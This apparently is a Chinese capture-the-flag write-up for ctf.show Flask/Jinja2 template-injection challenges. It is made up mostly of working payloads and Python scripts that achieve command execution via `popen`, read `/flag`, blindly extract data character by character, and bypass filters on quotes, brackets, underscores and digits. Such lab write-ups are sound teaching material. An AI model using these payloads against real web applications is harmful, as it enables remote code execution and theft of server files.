名字就是考点,所以注入点就是name
先测试一下存不存在ssti漏洞
查看一下子类的集合
?name={{''.__class__.__base__.__subclasses__()}}
看看有没有os模块,查找os
利用这个类,用脚本跑他的位置
import time
import requests
url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
for i in range(500):
data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
url1=url+data
response = requests.get(url=url1)
if "os._wrap_close" in response.text:
print(i)
if response.status_code == 429 :
time.sleep(0.5)
但是这样跑的比较慢,修改为多线程,会很快
import threading
import requests
import time
url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
def check_url(i):
data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
url1=url+data
response = requests.get(url=url1)
if "os._wrap_close" in response.text:
print(i)
if response.status_code == 429 :
time.sleep(0.5)
threads = []
for i in range(500):
t = threading.Thread(target=check_url, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}
name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
直接查看flag
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
发现跟361一模一样
?name={{lipsum.__globals__['os'].popen('ls ../').read()}}
?name={{lipsum.__globals__['os'].popen('cat /flag').read()}}
或者利用os模块,跟上面一样就不试了
request.args是flask中一个存储着请求参数以及其值的字典
假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效
原payload:
?name={{lipsum.__globals__['os'].popen('ls ../').read()}}
传入a和b的值执行命令
?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=ls
执行成功
直接查看flag
用刚才的payload被过滤了
搜索发现除了request.args还有request.values
values 可以获取所有参数,从而绕过 args
?name={{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag
通过python自带函数来绕过引号,这里使用的是chr()
判断chr()函数的位置:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
使用bp爆破,查看状态为200
这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()
接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面
原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表
'os' ==>chr(111)%2bchr(115)
'cat ../flag' ==>
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
再把替换后的payload放在后面,两段拼在一起得到最终姿势
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
__getitem__
和pop
因为pop会破坏数组的结构,所以更推荐用__getitem__
上面的两个payload都可以修改
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
第一处的[]直接换成()即可
第二处的[0]换成.__getitem__(0)或者直接删去
第三处的[80]换成.__getitem__(80)
第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))
http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
?name={{lipsum.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
用366的payload也可以
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
{%%}
绕过借助print()
回显
?name={% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
import requests
url="http://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i), //open函数读取/flag文件的内容
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}' //将flag与request.values.d进行比较,如果相等,则将字符串"feng"赋值给变量a。
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
不同的变量赋值,然后拼接成我们想要的命令
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
这相当于
lipsum.__globals__['__builtins__'].open('/flag').read()
set 创造变量
构造po="pop" #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
select
过滤器用于选择对象的属性或方法。
string
过滤器将对象转换为字符串。
list
过滤器将对象转换为列表。
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
主要就是后面ascii码被过滤,需要用c来代替
几个c就代表几,比如c=1,ccc=3
用~拼接 构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}